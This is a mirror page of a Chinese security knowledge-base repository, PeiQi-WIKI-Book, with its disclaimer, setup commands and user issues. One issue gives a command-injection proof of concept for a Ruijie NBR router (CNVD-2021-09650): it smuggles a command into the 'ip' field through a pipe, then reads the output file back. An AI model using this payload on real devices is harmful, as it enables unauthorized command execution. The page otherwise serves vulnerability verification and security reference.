Giter VIP home page Giter VIP logo

peiqi-wiki-book's Introduction

PeiQi-WIKI-Book

0x01 关于文库

PeiQi文库是一个面对网络安全从业者的知识库,涉及漏洞研究,代码审计,CTF夺旗,红蓝对抗等多个安全方向,用于解决安全信息不聚合,安全资料不易找的难题。帮助网络安全从业者共同构建安全的互联网,快速验证并及时修复相关漏洞,为甲方等提出安全建设意见。

image-20220316001218391

0x02 使用须知 & 关注公众号

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。文库内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出使用

image-20220316000944651

0x03 快速搭建

Yarn源码搭建 (个人二次扩展,需要编译环境)

git clone https://github.com/PeiQi0/PeiQi-WIKI-Book.git
cd PeiQi-WIKI-Book
yarn add vuepress-theme-antdocs -d
yarn install
yarn run dev

Html源码搭建 (无需编译环境,使用编译好的Html文件直接部署)

git clone https://github.com/PeiQi0/PeiQi-WIKI-Book.git (Github,国外较快)
git clone https://gitee.com/peiqi0/PeiQi-WIKI-Book.git (Gitee,国内较快)
cd PeiQi-WIKI-Book/docs/.vuepress/dist
mv * 你的服务器Web目录

Docker搭建 (只需要Dokcer环境,快速搭建在各个环境中,定时同步Gitee自动更新)

docker search peiqipeiqi
docker pull peiqipeiqi/peiqi_wiki:220420
docker run -t -d -p 65534:80 --name "PeiQi_Wiki" peiqipeiqi/peiqi_wiki:220420
User/Pass: peiqi:peiqi (手动更新:进入Docker执行命令,/usr/share/nginx/html/synchronous.sh)

image-20220316001010091

0x04 关于开源

我认为开源才是最好的交流方式,所以文库的文章,代码都是公开可以任意下载的。希望能帮助到不管是一线红队,还是刚入门的安全小白,让大家都有一个可以公开交流,查找资料的地方。在文库开放后,我几乎将所有的闲暇时间都用在了文库的搭建上。现在的文库与之前的Gitbook版本相比,无论是阅读感受还是用户交互,都得到了更大的提升,希望大家可以通过提出建设性意见或者赞助项目来给予我更多更新的动力~

image-20220316001026684

0x05 文库动态 & 建议反馈 & 友情链接

image-20220316001110750

image-20220316001308942

image-20220316001141835

peiqi-wiki-book's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

peiqi-wiki-book's Issues

Filename too long

师傅 Windows使用git克隆会遇到文件名太长的问题 这个2个图片名能改短些吗
error: unable to create file docs/.vuepress/dist/img/68747470733a2f2f7261772e6769746875622e636f6d2f4173636f7462652f496d6167652f6d61737465722f4b65726e656c6875622f4356452d323032322d32313838325f57696e646f77735f31305f323168325f5836342e676966-20220420095052148.gif: Filename too long
error: unable to create file docs/.vuepress/public/img/68747470733a2f2f7261772e6769746875622e636f6d2f4173636f7462652f496d6167652f6d61737465722f4b65726e656c6875622f4356452d323032322d32313838325f57696e646f77735f31305f323168325f5836342e676966-20220420095052148.gif: Filename too long

400

No SSL certificate
师傅还能访问吗

docker镜像中的synchronous.sh文件内容更新建议

由于直接运行更新脚本无法更新文库内容到2023.8.9之后,所以我更改的更新脚本的内容使其达到了更新的效果,方法可能比较丑陋,还请大佬帮忙修改完善,感谢

#!/bin/bash
echo `date '+%Y-%m-%d %H:%M:%S'` > /usr/share/nginx/html/gitlog.log
cd /usr/share/nginx/html/PeiQi-WIKI-Book
echo `git pull` > /usr/share/nginx/html/gitlog.log
cd /usr/share/nginx/html/
if [ ! -d "/usr/share/nginx/html/dist" ]; then
  git clone -b gh-pages https://github.com/PeiQi0/PeiQi-WIKI-Book.git dist
else
  cd /usr/share/nginx/html/dist && git pull
fi
cp -r -f /usr/share/nginx/html/dist/* /usr/share/nginx/html/PeiQi-WIKI-Book/docs/.vuepress/dist/

不支持高版本Node(Node18.7.1 LTS)

Node18.7.1 LTS版本,yarn编译报错,报错内容:

this[kHandle] = new _Hash(algorithm, xofLen);
^

Error: error:0308010C:digital envelope routines::unsupported

临时解决方案:
修改package.json:
"scripts": { "docs:dev": "set NODE_OPTIONS=--openssl-legacy-provider && vuepress dev docs", "docs:build": "set NODE_OPTIONS=--openssl-legacy-provider && vuepress build docs --max-concurrency" },

poc优化

锐捷 NBR 路由器 guestIsUp.php 远程命令执行漏洞 CNVD-2021-09650
实战发现,给出的poc效果不佳,将poc换成如下,效果更好

POST /guest_auth/guestIsUp.php
mac=1&ip=127.0.0.1|whoami>tmp5.txt

GET /guest_auth/tmp5.txt

来源 :https://github.com/MzzdToT/CNVD-2021-09650

更新

现在更新只能到今年5月1日的内容吗?

注意法律风险

docs/.vuepress/public/img/1684385461375-d54ce083-ef90-4946-b00a-2422bf9169a8.png 返回包有东西没打码

bug

编译后页面的图片会加载不出来

bug

在执行yarn run docs:dev 出现这种错误
QQ截图20230723143151

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.